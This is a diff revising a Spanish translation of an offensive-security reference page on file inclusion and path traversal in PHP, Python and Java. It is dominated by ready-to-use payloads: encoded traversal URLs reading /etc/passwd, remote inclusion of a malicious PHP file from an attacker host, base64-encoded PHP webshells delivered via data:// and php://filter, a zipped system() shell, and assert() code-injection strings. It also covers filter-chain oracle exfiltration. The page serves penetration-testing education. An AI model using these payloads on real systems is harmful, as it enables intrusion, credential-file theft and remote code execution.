http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Desde la carpeta existente
|
||||
### Desde una carpeta existente
|
||||
|
||||
Quizás el back-end esté verificando la ruta de la carpeta:
|
||||
Quizás el back-end está verificando la ruta de la carpeta:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Explorando Directorios del Sistema de Archivos en un Servidor
|
||||
### Explorando directorios del sistema de archivos en un servidor
|
||||
|
||||
El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
|
||||
El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
|
||||
|
||||
1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual al obtener con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
|
||||
1. **Determinar la profundidad del directorio:** Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Sonde para Carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
2. **Sondea carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
|
||||
- **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
|
||||
- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
|
||||
3. **Interpretar los resultados:** La respuesta del servidor indica si la carpeta existe:
|
||||
- **Error / No Output:** La carpeta `private` probablemente no existe en la ubicación especificada.
|
||||
- **Contents of `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
|
||||
4. **Recursive Exploration:** Las carpetas descubiertas pueden ser exploradas más a fondo en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
|
||||
|
||||
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Técnica de Truncamiento de Ruta**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
El truncamiento de ruta es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, aún apunte al archivo deseado.
|
||||
Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado.
|
||||
|
||||
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, y `/etc/passwd/` son tratados como la misma ruta.
|
||||
- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (haciéndolo `passwd/`) no cambia el archivo objetivo.
|
||||
- De manera similar, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo que se está accediendo.
|
||||
- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
|
||||
- De igual manera, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo al que se accede.
|
||||
|
||||
Los ejemplos proporcionados demuestran cómo utilizar el truncamiento de ruta para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
|
||||
Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
|
||||
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto y caracteres adicionales se pueden utilizar para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determinación del número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
|
||||
- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos adicionales de punto y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para llegar al root directory y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) quede neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
|
||||
|
||||
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
|
||||
Al emplear path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del filesystem. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
|
||||
|
||||
**Esta vulnerabilidad fue corregida en PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Trucos para eludir filtros**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -143,47 +143,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Inclusión Remota de Archivos
|
||||
## Remote File Inclusion
|
||||
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Apagado.** Debe estar **Encendido** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Si por alguna razón **`allow_url_include`** está **Activado**, pero PHP está **filtrando** el acceso a páginas web externas, [según esta publicación](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:
|
||||
Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el protocolo data con base64 para decodificar un código PHP en b64 y obtener RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
|
||||
|
||||
Otro ejemplo **sin usar el protocolo `php://`** sería:
|
||||
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y, después de la decodificación b64, esa parte devolverá solo basura y el código PHP real será incluido (y por tanto, ejecutado).
|
||||
>
|
||||
> Otro ejemplo **sin usar el protocolo `php://`** sería:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Elemento raíz de Python
|
||||
## Python elemento raíz
|
||||
|
||||
En Python, en un código como este:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior se elimina**:
|
||||
Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior simplemente se elimina**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
|
||||
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
|
||||
|
||||
## Java List Directories
|
||||
## Java Listar directorios
|
||||
|
||||
Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no sucederá en otros lenguajes (hasta donde sé).
|
||||
Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no ocurrirá en otros lenguajes (que yo sepa).
|
||||
|
||||
## Top 25 parameters
|
||||
## Top 25 parámetros
|
||||
|
||||
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Aquí tienes una lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI usando envoltorios y protocolos PHP
|
||||
## LFI / RFI usando PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||||
- Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
|
||||
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** soportadas, ejecuta en la consola: `iconv -l`
|
||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Para obtener la **lista de todas las codificaciones** compatibles ejecuta en la consola: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información, consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprime el contenido (útil si se está exfiltrando mucha información)
|
||||
- `zlib.deflate`: Comprime el contenido (útil si exfiltras mucha información)
|
||||
- `zlib.inflate`: Descomprime los datos
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Obsoleto
|
||||
- `mdecrypt.*` : Obsoleto
|
||||
- Otros Filtros
|
||||
- Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**:
|
||||
- Other Filters
|
||||
- Al ejecutar en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**:
|
||||
- `consumed`
|
||||
- `dechunk`: revierte la codificación HTTP en fragmentos
|
||||
- `dechunk`: revierte la codificación HTTP chunked
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> La parte "php://filter" no distingue entre mayúsculas y minúsculas
|
||||
|
||||
### Usando filtros php como oráculo para leer archivos arbitrarios
|
||||
### Usando php filters as oracle para leer archivos arbitrarios
|
||||
|
||||
[**En esta publicación**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **exfiltración booleana del archivo (carácter por carácter) usando filtros php** como oráculo. Esto se debe a que los filtros php se pueden usar para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **boolean exfiltration of the file (char by char) using php filters** as oracle. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción.
|
||||
|
||||
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí hay un resumen rápido:
|
||||
En el post original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:
|
||||
|
||||
- Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
|
||||
- El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
|
||||
- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
|
||||
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
|
||||
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
|
||||
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta que alcances el bit deseado para filtrar.
|
||||
- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial sea adivinada correctamente** que php disparará un **error**.
|
||||
- El filtro **dechunk** **eliminará todo si el primer carácter no es hexadecimal**, por lo que podemos saber si el primer carácter es hex.
|
||||
- Esto, combinado con el anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial provocará un error en php.
|
||||
- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y el error de php se dispara al multiplicarse con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible leak otros caracteres como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
|
||||
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
|
||||
- El problema final es ver **cómo leak más que la letra inicial**. Usando order memory filters como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y colocar en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **further data** la idea es **generate 2 bytes of junk data at the beginning** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que **pivot with the next 2 bytes**, y d**elete the data until the junk data** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta que alcances el bit deseado a leak.
|
||||
|
||||
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
En el post también se publicó una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Este envoltorio permite acceder a descriptores de archivos que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
|
||||
Este wrapper permite acceder a los file descriptors que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
||||
También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **file descriptors 0, 1 and 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
||||
|
||||
### zip:// y rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
|
||||
Para poder abusar del protocolo rar, **debe ser activado específicamente**.
|
||||
Para poder abusar del rar protocol **debe ser activado específicamente**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web usa funciones como `include` para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,11 +358,11 @@ Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Al ejecutar, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI).
|
||||
Al ejecutarse, se creará un archivo llamado `test.phar`, que podría aprovecharse potencialmente para explotar vulnerabilidades de Local File Inclusion (LFI).
|
||||
|
||||
En casos donde el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
|
||||
En casos en los que la LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
|
||||
|
||||
Para una comprensión detallada de la explotación de vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento vinculado a continuación:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,76 +373,76 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Fue posible abusar de **cualquier archivo arbitrario leído desde PHP que soporte filtros php** para obtener un RCE. La descripción detallada se puede [**encontrar en esta publicación**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Resumen muy rápido: se abusó de un **desbordamiento de 3 bytes** en el heap de PHP para **alterar la cadena de bloques libres** de un tamaño específico con el fin de poder **escribir cualquier cosa en cualquier dirección**, por lo que se agregó un gancho para llamar a **`system`**.\
|
||||
Fue posible asignar bloques de tamaños específicos abusando de más filtros php.
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
||||
It was possible to alloc chunks of specific sizes abusing more php filters.
|
||||
|
||||
### Más protocolos
|
||||
|
||||
Ver más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escriben en memoria o en un archivo temporal (no estoy seguro de cómo puede ser útil en un ataque de file inclusion)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar nombres de ruta que coincidan con un patrón (No devuelve nada imprimible, por lo que no es muy útil aquí)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de audio (No es útil para leer archivos arbitrarios)
|
||||
|
||||
## LFI a través de 'assert' de PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se sanitiza adecuadamente.
|
||||
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
|
||||
|
||||
Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido de directorios de la siguiente manera:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
Aunque esto pretende impedir el traversal, crea involuntariamente un vector para code injection. Para explotarlo y leer el contenido de archivos, un attacker podría usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
De manera similar, para ejecutar comandos del sistema arbitrarios, se podría usar:
|
||||
De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Es importante **URL-encode estos payloads**.
|
||||
Es importante **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
|
||||
> Esta técnica es relevante en casos donde tú **controlas** la **file path** de una **PHP function** que va a **access a file**, pero no verás el contenido del archivo (como una simple llamada a **`file()`**) ya que el contenido no se muestra.
|
||||
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
|
||||
En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede aprovecharse mediante PHP filter para **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
En resumen, la técnica utiliza la **"codificación UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
|
||||
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **PHP function opening** el archivo provoque un **error**.
|
||||
|
||||
